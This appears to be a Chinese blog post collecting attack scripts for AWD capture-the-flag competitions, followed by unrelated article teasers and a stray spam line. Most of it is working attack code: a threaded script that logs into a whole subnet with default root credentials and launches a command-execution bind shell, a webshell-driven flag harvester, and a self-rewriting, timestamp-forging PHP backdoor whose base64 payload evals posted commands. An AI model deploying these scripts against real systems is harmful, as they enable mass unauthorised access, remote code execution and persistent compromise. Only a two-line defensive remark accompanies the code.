<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    AWD攻防工具腳本匯總(一)

    VSole2021-08-22 07:58:34

    閱讀目錄(Content)

    • 情景一 默認SSH密碼批量反彈shell
    • 情景二 dump源碼
    • 情景三 利用shell批量getflag
    • 情景四 批量利用一句話木馬種植不死馬

    最近工作很忙 今天抽空準備下AWD比賽得攻防工具和腳本

    以下只是常用 希望下周不被吊錘~~ 后續整理后想抽空寫成一個攻擊框架匯總放github~~

    這里從各種情景和需求中去總結工具和腳本的使用

    情景一 默認SSH密碼批量反彈shell

    官方在給出服務器密碼時,很有可能是默認的,需要趕快修改自己的密碼并嘗試能不能登陸別人的靶機

    #-*- coding:utf-8 -*-
    import paramiko
    
    ip = '192.168.1.137'
    port = '22'
    username = 'root'
    passwd = 'toor'
    # ssh 用戶名 密碼 登陸
    def ssh_base_pwd(ip,port,username,passwd,cmd='ls'):
        port = int(port)
        ssh = paramiko.SSHClient()
    
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
        ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    
        stdin,stdout,stderr = ssh.exec_command(cmd)
    
        result = stdout.read()
        if not result :
            print("無結果!")
            result = stderr.read()
        ssh.close()
        
        return result.decode()
        
    a = ssh_base_pwd(ip,port,username,passwd)
    print(a)
    

    執行命令可以是寫webshell或著直接查看flag 并返回提交

    這里獻上自己寫的批量ssh登錄并反彈python shell

    #-*- coding:utf-8 -*-
    import paramiko
    import threading
    import queue
    import time
    #反彈shell python
    
    q=queue.Queue()
    #lock = threading.Lock()
    
    # ssh 用戶名 密碼 登陸
    def ssh_base_pwd(ip,port,username,passwd,cmd):
        port = int(port)
        ssh = paramiko.SSHClient()
    
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    
        ssh.connect(hostname=ip, port=port, username=username, password=passwd)
    
        stdin,stdout,stderr = ssh.exec_command(cmd)
    
        result = stdout.read()
        if not result :
            result = stderr.read()
        ssh.close()
        
        return result.decode()
    
    def main(x):
        shell = '''
        #服務器端
        import socket
        import os
        s=socket.socket()   #創建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    
        s.bind(('0.0.0.0',1234))    #綁定地址和端口#0.0.0.0接收任意客戶端ip連接
        s.listen(5)                 #調用listen方法開始監聽端口,傳入的參數為等待連接的最大數量
        con,addr=s.accept()     #接受一個客戶端的連接
        #print(con,addr)
    
        for i in range(10):
            cmd=con.recv(1024)
            print(cmd)
            command=cmd.decode()
            if command.startswith('cd'):
                os.chdir(command[2:].strip())   #切換路徑
                result=os.getcwd()      #顯示路徑
            else:
                result=os.popen(command).read()
            if result:
                con.send(result.encode())
            else:
                con.send(b'OK!')
        '''
        cmd = 'echo \"%s\" > ./shell.py' % (shell) +'&& python3 ./shell.py'
        port = '22'
        username = 'root'
        passwd = 'toor'
        
        ip = '192.168.1.{}'.format(x)
        q.put(ip.strip(),block=True, timeout=None)
        ip_demo=q.get()
        #判斷是否成功
        try:
            #lock.acquire()
            res = ssh_base_pwd(ip_demo,port,username,passwd,cmd='id')
            if res:
                print("[ + ]Ip: %s" % ip_demo +" is success!!! [ + ]")
                #lock.release()
                ssh_base_pwd(ip_demo,port,username,passwd,cmd)
        except:
            print("[ - ]Ip: %s" % ip_demo +" is Failed")
        if x > 255:
            print("Finshed!!!!!!!!")
        q.task_done()
        
    #線程隊列部分
    th=[]
    th_num=255
    for x in range(th_num):
            t=threading.Thread(target=main,args=(x,))
            th.append(t)
    for x in range(th_num):
            th[x].start()
    for x in range(th_num):
            th[x].join()
            
    
    #q.join()所有任務完成
    

    情景二 dump源碼

    原因不說了 

    scp -r -P Port remote_username@remote_ip:remote_folder local_file
    

    情景三 利用shell批量getflag

    在有批量shell后 需要連接shell 批量得到flag并提交

    #!/usr/bin/python
    #coding=utf-8
    import sys,requests,base64,time
    
    #利用一句話木馬得到flag
    
    #加載一句話地址的文件
    def shell_list(filepath):
        #格式 http://192.168.174.128/test.php?x=
        #返回列表
        try : 
            with open(filepath,encoding='utf-8') as f:
                data = f.readlines()
                return data
        except : 
            print("File"+filepath+" Not Found!") 
            sys.exit()
        
    def getflag(filepath):
        file = './flag'+str(time.time())[-5:]+'.txt'
        #加載shell地址
        list = shell_list(filepath)
        #訪問 執行查看flag命令  linux就是cat
        cmd = "type flag.txt"
        getflag_cmd ="echo system(\"%s\");"%cmd
        for url in list:
            url  = url.strip('\r') + getflag_cmd
            try:
                res = requests.get(url=url,timeout=5)
            except:
                print(url+"[ - ] request timeout [ - ]")
            if res.content:
                content = str(res.content,'utf-8')
                try : 
                #把得到的flag存到flag文件再批量提交
                    with open(file,'a',encoding='utf-8') as f:
                        f.writelines(content+"")
                except : 
                     print("寫flag.txt文件失敗!!")
                     sys.exit()
        print("[+] getflag sucessed! flag文件:" +file)
        return file
    
    #批量提交flag
    def sentflag(filepath,url):
        filename = getflag(filepath)#返回存放flag的地址
        #讀取存放flag文件
        with open(filename,'r',encoding='utf-8') as f:
            flags = f.readlines()
            for flag in flags:
                links = url + flag.strip('')
                try : 
                    res = requests.get(url=links,timeout=3)
                    if res.status_code==200 :
                        print("[ + ] Send Flag  %s Success [ + ]") % flag
                except : 
                     print("[ - ] Send Flag Failed [ - ]")
                     sys.exit()
                
               
    #第一個參數需要一個存放shell的地址,格式 http://192.168.174.128/test.php?x=    
    #第二個參數需要提交flag的地址 例如http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx
    filepath = './webshell.txt'
    url = 'http://1.1.1.1/submit.php?token=xxxx&flag=xxxxx'
    sentflag(filepath,url)
    

    情景四 批量利用一句話木馬種植不死馬

    主要是用來權限維持

    分享一個自己寫的不死馬:

     //qing@3389..
        error_reporting(0);
        set_time_limit(0);   //PHP腳本限制了執行時間,set_time_limit(0)設置一個腳本的執行時間為無限長
        ignore_user_abort(1);  //ignore_user_abort如果設置為 TRUE,則忽略與用戶的斷開,腳本將繼續運行。
        unlink(__FILE__);     //刪除自身
    
     $file = '.config.php';
     $code = base64_decode('PD9waHAgLy9lcnJvcl9yZXBvcnRpbmcoMCk7ICBpZihtZDUoJF9QT1NUWydwYXNzJ10pPT09JzU5Nzg5ODY1YzVhMTcyNzdmYmYxMWJjNjIzODI4OTYwJykgIEBldmFsKCRfUE9TVFsnY21kJ10pOyAgPz4=');
     while(true) {
         if(md5(file_get_contents($file))!==md5($code)) {
             file_put_contents($file, $code);
         }
         system('chmod 777 .config.php');
         touch(".config.php",mktime(20,15,1,11,28,2016));
         usleep(100);
     }
    ?>
    

    附上批量訪問生成不死馬腳本:

     刪除config馬還是會一直生成 

     順便提下不死馬的解決方式:

    目前最有效的辦法就是重啟PHP服務器。

    但在awd模式下,一般無權限,

    可以通過不斷復寫shell.php來達到該木馬難以被使用的效果。

    shelllinux腳本
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    這里你可以理解為 a = 1,同時還可以 a =2、a = 3 ,不同的值都可以復制給同一個 變量 a 。Shell常見的變量之一系統變量,主要是用于對參數判斷和命令返回值判斷時使用,系統變量詳解如下:。令或程序執行完后的狀態,返回0表示執行成功;顯示當前主機名;
    實驗一利用case語句編寫腳本,滿足下列要求1.執行create時根據userfile和passfile建立用戶
    留神,變量名和等號之間不能有空格,這或許和你了解的悉數編程言語都不相同。一同,變量名的命名須遵從如下規矩:命名只能運用英文字母,數字和下劃線,首個字符不能以數字開端。不能運用bash里的要害字。變量稱謂一般習氣為大寫有用的 Shell 變量名示例如下:RUNOOB. 事實上,shell腳本就是一些指令的集結。
    又見大規模開源軟件供應鏈劫持,攻擊者下發了挖礦和竊密木馬,或影響超百萬用戶和大量下游項目。
    美國網絡司令部(USCYBERCOM)今天發布了罕見的警報,敦促來自美國的企業和機構們立即修補一個被大規模利用的Atlassian Confluence關鍵漏洞。"對Atlassian Confluence CVE-2021-26084的大規模利用正在進行,預計會加速,"網絡國家任務部隊(CNMF)說。
    近年來,使用HTTP協議的分布式拒絕服務(DDoS)攻擊正在流行,這個方向上的最新趨勢是使用消耗大量計算的請
    反彈shell命令速查
    2022-07-28 06:13:42
    反彈shell命令速查
    系統管理員發現文件的最近修改時間,便提示他們系統受到攻擊,采取行動鎖定系統。然而幸運的是,修改時間不是絕對可靠的記錄,修改時間本身可以被欺騙或修改,通過編寫 Shell腳本,攻擊者可將備份和恢復修改時間的過程自動化。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类